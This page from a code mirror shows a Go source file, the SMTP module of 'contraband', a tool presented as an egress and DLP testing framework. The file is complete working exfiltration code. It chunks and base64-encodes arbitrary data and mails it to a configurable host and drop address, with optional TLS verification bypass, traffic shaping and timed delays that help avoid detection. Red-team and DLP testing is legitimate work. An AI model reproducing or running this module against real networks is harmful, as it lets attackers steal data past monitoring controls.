● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / mail / smtp.go
← Back to directory
380 lines · 10.7 KB
Raw
1package mail
2
3import (
4 "bytes"
5 "context"
6 "crypto/sha256"
7 "crypto/tls"
8 "encoding/base64"
9 "encoding/hex"
10 "errors"
11 "fmt"
12 "io"
13 "net"
14 "net/smtp"
15 "strconv"
16 "strings"
17 "time"
18
19 "github.com/shehzade/contraband/pkg/client/evasion"
20 "github.com/shehzade/contraband/pkg/client/exfil"
21 "github.com/shehzade/contraband/pkg/common"
22)
23
24// SMTPExfiltrator implements mail exfiltration via SMTP / SMTPS / STARTTLS.
25// Supports MIME multipart attachments and body embedding modes with X-CTRB-* headers.
26type SMTPExfiltrator struct{}
27
28func NewSMTPExfiltrator() *SMTPExfiltrator {
29 return &SMTPExfiltrator{}
30}
31
32func init() {
33 exfil.RegisterExfiltrator(common.ProtoSMTP, NewSMTPExfiltrator())
34}
35
36func (e *SMTPExfiltrator) Protocol() string {
37 return common.ProtoSMTP
38}
39
40type unconstrainedPlainAuth struct {
41 identity string
42 username string
43 password string
44}
45
46func (a *unconstrainedPlainAuth) Start(server *smtp.ServerInfo) (string, []byte, error) {
47 resp := []byte(a.identity + "\x00" + a.username + "\x00" + a.password)
48 return "PLAIN", resp, nil
49}
50
51func (a *unconstrainedPlainAuth) Next(fromServer []byte, more bool) ([]byte, error) {
52 if more {
53 return nil, errors.New("unexpected server challenge in PLAIN auth")
54 }
55 return nil, nil
56}
57
58func (e *SMTPExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
59 if err := opts.Validate(); err != nil {
60 return nil, err
61 }
62
63 start := time.Now().UTC()
64 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
65 if err != nil {
66 return nil, err
67 }
68 result.Timestamps.StartTCP = start
69 result.PayloadType = opts.PayloadType
70 result.CarrierType = opts.CarrierType
71
72 if opts.TotalBytes <= 0 {
73 if br, ok := reader.(*bytes.Reader); ok {
74 opts.TotalBytes = int64(br.Len())
75 } else if bb, ok := reader.(*bytes.Buffer); ok {
76 opts.TotalBytes = int64(bb.Len())
77 }
78 }
79
80 if opts.ExpectedHash == "" {
81 if br, ok := reader.(*bytes.Reader); ok {
82 cur, _ := br.Seek(0, io.SeekCurrent)
83 h := sha256.New()
84 _, _ = io.Copy(h, br)
85 opts.ExpectedHash = hex.EncodeToString(h.Sum(nil))
86 _, _ = br.Seek(cur, io.SeekStart)
87 }
88 }
89 result.PayloadHash = opts.ExpectedHash
90
91 if opts.SessionToken.IsZero() {
92 tok, tokErr := common.NewSessionToken()
93 if tokErr != nil {
94 return nil, tokErr
95 }
96 opts.SessionToken = tok
97 }
98
99 chunker, err := evasion.NewStreamChunker(reader, opts.SessionToken, opts.ChunkSize, opts.TotalBytes)
100 if err != nil {
101 return nil, fmt.Errorf("failed to initialize chunk streamer: %w", err)
102 }
103 defer chunker.Close()
104 result.TargetVolume = opts.TotalBytes
105
106 targetAddr := net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort))
107 isSMTPS := opts.TargetPort == 465 || strings.EqualFold(opts.Headers["smtp_mode"], "smtps")
108
109 tlsCfg := &tls.Config{
110 ServerName: opts.TargetHost,
111 InsecureSkipVerify: opts.InsecureTLS,
112 }
113
114 dialer := &net.Dialer{
115 Timeout: opts.Timeout,
116 }
117
118 var rawConn net.Conn
119 var client *smtp.Client
120
121 if isSMTPS {
122 conn, dialErr := tls.DialWithDialer(dialer, "tcp", targetAddr, tlsCfg)
123 if dialErr != nil {
124 result.Verdict = classifyError(dialErr)
125 result.ErrorMessage = dialErr.Error()
126 calculateDurations(&result)
127 return &result, dialErr
128 }
129 rawConn = conn
130 result.Timestamps.ConnectedTCP = time.Now().UTC()
131 result.Timestamps.HandshakeTLS = time.Now().UTC()
132
133 c, clientErr := smtp.NewClient(conn, opts.TargetHost)
134 if clientErr != nil {
135 _ = conn.Close()
136 result.Verdict = classifyError(clientErr)
137 result.ErrorMessage = clientErr.Error()
138 calculateDurations(&result)
139 return &result, clientErr
140 }
141 client = c
142 } else {
143 conn, dialErr := dialer.DialContext(ctx, "tcp", targetAddr)
144 if dialErr != nil {
145 result.Verdict = classifyError(dialErr)
146 result.ErrorMessage = dialErr.Error()
147 calculateDurations(&result)
148 return &result, dialErr
149 }
150 rawConn = conn
151 result.Timestamps.ConnectedTCP = time.Now().UTC()
152
153 c, clientErr := smtp.NewClient(conn, opts.TargetHost)
154 if clientErr != nil {
155 _ = conn.Close()
156 result.Verdict = classifyError(clientErr)
157 result.ErrorMessage = clientErr.Error()
158 calculateDurations(&result)
159 return &result, clientErr
160 }
161 client = c
162
163 // Opportunistic or required STARTTLS
164 if hasTLS, _ := client.Extension("STARTTLS"); hasTLS {
165 if startTLSErr := client.StartTLS(tlsCfg); startTLSErr != nil {
166 _ = client.Close()
167 result.Verdict = classifyError(startTLSErr)
168 result.ErrorMessage = fmt.Sprintf("STARTTLS failed: %v", startTLSErr)
169 calculateDurations(&result)
170 return &result, startTLSErr
171 }
172 result.Timestamps.HandshakeTLS = time.Now().UTC()
173 }
174 }
175 defer func() {
176 _ = client.Quit()
177 _ = rawConn.Close()
178 }()
179
180 // Authentication if credentials supplied
181 username := opts.Headers["username"]
182 password := opts.Headers["password"]
183 if username != "" && password != "" {
184 auth := &unconstrainedPlainAuth{
185 identity: "",
186 username: username,
187 password: password,
188 }
189 if authErr := client.Auth(auth); authErr != nil {
190 result.Verdict = classifyError(authErr)
191 result.ErrorMessage = fmt.Sprintf("SMTP AUTH failed: %v", authErr)
192 calculateDurations(&result)
193 return &result, authErr
194 }
195 }
196
197 fromAddr := opts.Headers["from"]
198 if fromAddr == "" {
199 fromAddr = "agent@contraband.local"
200 }
201 toAddr := opts.Headers["to"]
202 if toAddr == "" {
203 toAddr = "drop@contraband.local"
204 }
205
206 isBodyMode := strings.EqualFold(opts.Headers["smtp_embed"], "body")
207
208 result.Timestamps.FirstByteSent = time.Now().UTC()
209
210 var headEvidence []byte
211 totalChunks := chunker.TotalChunks()
212
213 for {
214 chunkFrame, seq, err := chunker.Next()
215 if err == io.EOF {
216 break
217 }
218 if err != nil {
219 result.Verdict = classifyError(err)
220 result.ErrorMessage = err.Error()
221 calculateDurations(&result)
222 return &result, err
223 }
224
225 if len(headEvidence) < 768 && len(chunkFrame) > common.ChunkHeaderSize {
226 p := chunkFrame[common.ChunkHeaderSize:]
227 needed := 768 - len(headEvidence)
228 if needed > len(p) {
229 needed = len(p)
230 }
231 headEvidence = append(headEvidence, p[:needed]...)
232 }
233
234 if err := client.Mail(fromAddr); err != nil {
235 result.Verdict = classifyError(err)
236 result.ErrorMessage = fmt.Sprintf("SMTP MAIL FROM failed on chunk %d: %v", seq, err)
237 calculateDurations(&result)
238 return &result, err
239 }
240
241 if err := client.Rcpt(toAddr); err != nil {
242 result.Verdict = classifyError(err)
243 result.ErrorMessage = fmt.Sprintf("SMTP RCPT TO failed on chunk %d: %v", seq, err)
244 calculateDurations(&result)
245 return &result, err
246 }
247
248 wc, err := client.Data()
249 if err != nil {
250 result.Verdict = classifyError(err)
251 result.ErrorMessage = fmt.Sprintf("SMTP DATA command failed on chunk %d: %v", seq, err)
252 calculateDurations(&result)
253 return &result, err
254 }
255
256 expectedHash := opts.ExpectedHash
257 if expectedHash == "" {
258 expectedHash = chunker.PayloadHashHex()
259 }
260
261 // Craft message
262 var msgBuf bytes.Buffer
263 msgBuf.WriteString(fmt.Sprintf("From: %s\r\n", fromAddr))
264 msgBuf.WriteString(fmt.Sprintf("To: %s\r\n", toAddr))
265 msgBuf.WriteString(fmt.Sprintf("Subject: CTRB Telemetry %s %d/%d\r\n", opts.SessionToken.String(), seq, totalChunks))
266 msgBuf.WriteString(fmt.Sprintf("X-CTRB-Session-ID: %s\r\n", opts.SessionToken.String()))
267 msgBuf.WriteString(fmt.Sprintf("X-CTRB-Sequence: %d\r\n", seq))
268 msgBuf.WriteString(fmt.Sprintf("X-CTRB-Total-Chunks: %d\r\n", totalChunks))
269 msgBuf.WriteString(fmt.Sprintf("X-CTRB-Payload-Hash: %s\r\n", expectedHash))
270
271 if isBodyMode {
272 b64 := wrapBase64Lines(base64.StdEncoding.EncodeToString(chunkFrame), 76)
273 msgBuf.WriteString("Content-Type: text/plain; charset=utf-8\r\n")
274 msgBuf.WriteString("Content-Transfer-Encoding: base64\r\n\r\n")
275 msgBuf.WriteString(b64)
276 msgBuf.WriteString("\r\n")
277 } else {
278 boundary := "----=_ContrabandBoundary_" + opts.SessionToken.String()[:8]
279 msgBuf.WriteString(fmt.Sprintf("Content-Type: multipart/mixed; boundary=\"%s\"\r\n\r\n", boundary))
280
281 // Benign part
282 msgBuf.WriteString(fmt.Sprintf("--%s\r\n", boundary))
283 msgBuf.WriteString("Content-Type: text/plain; charset=utf-8\r\n\r\n")
284 msgBuf.WriteString("Contraband synthetic exfiltration telemetry payload.\r\n\r\n")
285
286 // Attachment part
287 msgBuf.WriteString(fmt.Sprintf("--%s\r\n", boundary))
288 msgBuf.WriteString(fmt.Sprintf("Content-Type: application/octet-stream; name=\"chunk_%d.dat\"\r\n", seq))
289 msgBuf.WriteString("Content-Disposition: attachment; filename=\"chunk.dat\"\r\n")
290 msgBuf.WriteString("Content-Transfer-Encoding: base64\r\n\r\n")
291 b64 := wrapBase64Lines(base64.StdEncoding.EncodeToString(chunkFrame), 76)
292 msgBuf.WriteString(b64)
293 msgBuf.WriteString(fmt.Sprintf("\r\n--%s--\r\n", boundary))
294 }
295
296 rawMsg := msgBuf.Bytes()
297 if _, writeErr := wc.Write(rawMsg); writeErr != nil {
298 _ = wc.Close()
299 result.Verdict = classifyError(writeErr)
300 result.ErrorMessage = fmt.Sprintf("SMTP Write failed for chunk %d: %v", seq, writeErr)
301 calculateDurations(&result)
302 return &result, writeErr
303 }
304
305 if closeErr := wc.Close(); closeErr != nil {
306 result.Verdict = classifyError(closeErr)
307 result.ErrorMessage = fmt.Sprintf("SMTP DATA close failed for chunk %d: %v", seq, closeErr)
308 calculateDurations(&result)
309 return &result, closeErr
310 }
311
312 result.BytesSent += int64(len(rawMsg))
313
314 if opts.Shaper != nil {
315 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
316 result.Verdict = classifyError(err)
317 result.ErrorMessage = err.Error()
318 calculateDurations(&result)
319 return &result, err
320 }
321 }
322 if opts.Cadence != nil {
323 delay := opts.Cadence.NextDelay()
324 if delay > 0 {
325 select {
326 case <-time.After(delay):
327 case <-ctx.Done():
328 result.Verdict = classifyError(ctx.Err())
329 result.ErrorMessage = ctx.Err().Error()
330 calculateDurations(&result)
331 return &result, ctx.Err()
332 }
333 }
334 }
335 }
336
337 result.Timestamps.AckReceived = time.Now().UTC()
338 result.Timestamps.TeardownDone = time.Now().UTC()
339 result.Verdict = common.VerdictSuccess
340 result.RawEvidence = common.FormatBoundedRawEvidence(headEvidence)
341 if result.PayloadHash == "" {
342 result.PayloadHash = chunker.PayloadHashHex()
343 }
344
345 calculateDurations(&result)
346 return &result, nil
347}
348
349func calculateDurations(r *common.ProbeResult) {
350 if r.Timestamps.TeardownDone.IsZero() {
351 r.Timestamps.TeardownDone = time.Now().UTC()
352 }
353 r.Timestamps.ComputeDurations()
354 if r.Timestamps.TransferDuration > 0 && r.BytesSent > 0 {
355 r.ThroughputBps = float64(r.BytesSent*8) / (float64(r.Timestamps.TransferDuration) / float64(time.Second)) / 1000.0
356 }
357}
358
359func classifyError(err error) common.Verdict {
360 return common.ClassifyError(err)
361}
362
363func wrapBase64Lines(s string, lineLen int) string {
364 if lineLen <= 0 {
365 lineLen = 76
366 }
367 if len(s) <= lineLen {
368 return s
369 }
370 var b strings.Builder
371 for len(s) > lineLen {
372 b.WriteString(s[:lineLen])
373 b.WriteString("\r\n")
374 s = s[lineLen:]
375 }
376 if len(s) > 0 {
377 b.WriteString(s)
378 }
379 return b.String()
380}